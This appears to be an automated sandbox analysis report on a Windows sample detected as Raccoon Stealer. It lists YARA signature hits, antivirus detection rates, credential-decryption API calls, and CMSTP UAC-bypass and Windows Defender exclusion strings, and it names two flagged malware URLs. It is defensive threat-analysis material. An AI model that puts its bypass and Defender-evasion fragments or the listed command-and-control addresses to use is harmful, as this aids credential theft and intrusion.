2.0.LaunchWinApp.exe.400000.8.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.2.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.2.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.6.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.6.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x8ee04:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x8ee60:$e2: Add-MpPreference -ExclusionPath
0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x903e3:$s1: c:\windows\system32\cmstp.exe 0x9017f:$s2: taskkill /IM cmstp.exe /F 0x9003b:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x90271:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x8ebd2:$r1: Classes\Folder\shell\open\command 0x8ec16:$k1: DelegateExecute 0x8ead2:$s1: /EXEFilename "{0} 0x8eaf8:$s2: /WindowState "" 0x904e6:$s2: /WindowState "" 0x8eb22:$s3: /PriorityClass ""32"" /CommandLine " 0x9050c:$s3: /PriorityClass ""32"" /CommandLine " 0x8eb6e:$s4: /StartDirectory " 0x90558:$s4: /StartDirectory " 0x8eb94:$s5: /RunAs 0x9057e:$s5: /RunAs
0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x8f0ea:$s1: This file can't run into Virtual Machines 0x8efe6:$s4: Run without emulation 0x8f1c0:$s5: Run using valid operating system 0x8eeb6:$v1: SbieDll.dll 0x8ec51:$v2: USER 0x8f202:$v2: USER 0x8f20c:$v3: SANDBOX 0x8f21c:$v4: VIRUS 0x8f264:$v4: VIRUS 0x8f228:$v5: MALWARE 0x8f238:$v6: SCHMIDTI 0x8f24a:$v7: CURRENTUSER
0.3.qpwx2wT5ky.exe.4615610.3.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.3.qpwx2wT5ky.exe.4615610.3.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.qpwx2wT5ky.exe.4615610.3.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0xd8fc4:$e1: Microsoft\Windows Defender\Exclusions\Paths 0xd9020:$e2: Add-MpPreference -ExclusionPath
0.3.qpwx2wT5ky.exe.4615610.3.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0xda5a3:$s1: c:\windows\system32\cmstp.exe 0xda33f:$s2: taskkill /IM cmstp.exe /F 0xda1fb:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0xda431:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.3.qpwx2wT5ky.exe.4615610.3.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0xd8d92:$r1: Classes\Folder\shell\open\command 0xd8dd6:$k1: DelegateExecute 0xd8c92:$s1: /EXEFilename "{0} 0xd8cb8:$s2: /WindowState "" 0xda6a6:$s2: /WindowState "" 0xd8ce2:$s3: /PriorityClass ""32"" /CommandLine " 0xda6cc:$s3: /PriorityClass ""32"" /CommandLine " 0xd8d2e:$s4: /StartDirectory " 0xda718:$s4: /StartDirectory " 0xd8d54:$s5: /RunAs 0xda73e:$s5: /RunAs
0.3.qpwx2wT5ky.exe.4615610.3.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0xd92aa:$s1: This file can't run into Virtual Machines 0xd91a6:$s4: Run without emulation 0xd9380:$s5: Run using valid operating system 0xd9076:$v1: SbieDll.dll 0xd8e11:$v2: USER 0xd93c2:$v2: USER 0xd93cc:$v3: SANDBOX 0xd93dc:$v4: VIRUS 0xd9424:$v4: VIRUS 0xd93e8:$v5: MALWARE 0xd93f8:$v6: SCHMIDTI 0xd940a:$v7: CURRENTUSER
2.0.LaunchWinApp.exe.400000.4.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.4.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
0.2.qpwx2wT5ky.exe.468cf00.3.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0.2.qpwx2wT5ky.exe.468cf00.3.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7b07c:$s1: inetcomm server passwords 0x83b44:$s4: CredEnumerateW 0x7ac48:$s5: %[^:]://%[^/]%[^ 0x7ac64:$s6: %99[^:]://%99[^/]%99[^ 0x77c50:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7a328:$x1: endptr == token_buffer.data() + token_buffer.size() 0x79ce8:$x2: \json.hpp 0x7a634:$x3: Microsoft_WinInet_ 0x7a744:$x3: Microsoft_WinInet_ 0x7a744:$x4: Microsoft_WinInet_*
0.2.qpwx2wT5ky.exe.3170000.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.qpwx2wT5ky.exe.3170000.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.qpwx2wT5ky.exe.3170000.2.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0xd8fc4:$e1: Microsoft\Windows Defender\Exclusions\Paths 0xd9020:$e2: Add-MpPreference -ExclusionPath
0.2.qpwx2wT5ky.exe.3170000.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0xda5a3:$s1: c:\windows\system32\cmstp.exe 0xda33f:$s2: taskkill /IM cmstp.exe /F 0xda1fb:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0xda431:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.qpwx2wT5ky.exe.3170000.2.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0xd8d92:$r1: Classes\Folder\shell\open\command 0xd8dd6:$k1: DelegateExecute 0xd8c92:$s1: /EXEFilename "{0} 0xd8cb8:$s2: /WindowState "" 0xda6a6:$s2: /WindowState "" 0xd8ce2:$s3: /PriorityClass ""32"" /CommandLine " 0xda6cc:$s3: /PriorityClass ""32"" /CommandLine " 0xd8d2e:$s4: /StartDirectory " 0xda718:$s4: /StartDirectory " 0xd8d54:$s5: /RunAs 0xda73e:$s5: /RunAs
0.2.qpwx2wT5ky.exe.3170000.2.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0xd92aa:$s1: This file can't run into Virtual Machines 0xd91a6:$s4: Run without emulation 0xd9380:$s5: Run using valid operating system 0xd9076:$v1: SbieDll.dll 0xd8e11:$v2: USER 0xd93c2:$v2: USER 0xd93cc:$v3: SANDBOX 0xd93dc:$v4: VIRUS 0xd9424:$v4: VIRUS 0xd93e8:$v5: MALWARE 0xd93f8:$v6: SCHMIDTI 0xd940a:$v7: CURRENTUSER
2.0.LaunchWinApp.exe.400000.2.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.2.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.7.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.7.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.1.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.1.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.5.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.5.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0xdadc4:$e1: Microsoft\Windows Defender\Exclusions\Paths 0xdae20:$e2: Add-MpPreference -ExclusionPath
0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0xdc3a3:$s1: c:\windows\system32\cmstp.exe 0xdc13f:$s2: taskkill /IM cmstp.exe /F 0xdbffb:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0xdc231:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0xdab92:$r1: Classes\Folder\shell\open\command 0xdabd6:$k1: DelegateExecute 0xdaa92:$s1: /EXEFilename "{0} 0xdaab8:$s2: /WindowState "" 0xdc4a6:$s2: /WindowState "" 0xdaae2:$s3: /PriorityClass ""32"" /CommandLine " 0xdc4cc:$s3: /PriorityClass ""32"" /CommandLine " 0xdab2e:$s4: /StartDirectory " 0xdc518:$s4: /StartDirectory " 0xdab54:$s5: /RunAs 0xdc53e:$s5: /RunAs
0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0xdb0aa:$s1: This file can't run into Virtual Machines 0xdafa6:$s4: Run without emulation 0xdb180:$s5: Run using valid operating system 0xdae76:$v1: SbieDll.dll 0xdac11:$v2: USER 0xdb1c2:$v2: USER 0xdb1cc:$v3: SANDBOX 0xdb1dc:$v4: VIRUS 0xdb224:$v4: VIRUS 0xdb1e8:$v5: MALWARE 0xdb1f8:$v6: SCHMIDTI 0xdb20a:$v7: CURRENTUSER
Click to see the 77 entries

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: qpwx2wT5ky.exe	Virustotal: Detection: 47%	Perma Link
Source: qpwx2wT5ky.exe	Metadefender: Detection: 23%	Perma Link
Source: qpwx2wT5ky.exe	ReversingLabs: Detection: 66%

Yara detected Raccoon Stealer

Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.320185486.000000000468C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qpwx2wT5ky.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LaunchWinApp.exe PID: 5980, type: MEMORYSTR

Antivirus detection for URL or domain

Source: http://185.163.204.22/hdm3prapor	Avira URL Cloud: Label: malware
Source: http://188.166.1.115/hdm3prapor	Avira URL Cloud: Label: malware

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00410327 __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,CryptUnprotectData,	2_2_00410327
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040E6DD __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,	2_2_0040E6DD
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040CB3A __EH_prolog,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,LocalAlloc,BCryptDecrypt,BCryptCloseAlgorithmProvider,BCryptDestroyKey,	2_2_0040CB3A
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00428EC4 CryptAcquireContextA,CryptCreateHash,lstrlenW,CryptHashData,CryptGetHashParam,wsprintfW,lstrcatW,wsprintfW,lstrcatW,CryptDestroyHash,CryptReleaseContext,lstrlenW,CryptUnprotectData,LocalFree,	2_2_00428EC4
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00434EB9 lstrlenW,lstrlenW,lstrlenW,CryptUnprotectData,LocalFree,lstrlenW,lstrlenW,lstrlenW,wsprintfA,lstrlenA,	2_2_00434EB9
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00429097 lstrlenW,lstrlenW,lstrlenW,CredEnumerateW,CryptUnprotectData,LocalFree,CredFree,	2_2_00429097
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040F186 __EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,CryptUnprotectData,	2_2_0040F186
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040D1A3 __EH_prolog,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,__EH_prolog,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,CryptUnprotectData,	2_2_0040D1A3
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041FC20 __EH_prolog,_strlen,CryptStringToBinaryA,	2_2_0041FC20

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qpwx2wT5ky.exe PID: 6428, type: MEMORYSTR

Source: qpwx2wT5ky.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: qpwx2wT5ky.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ktmw32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nsi.pdb_ source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.473103575.00000000053B3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdbe source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
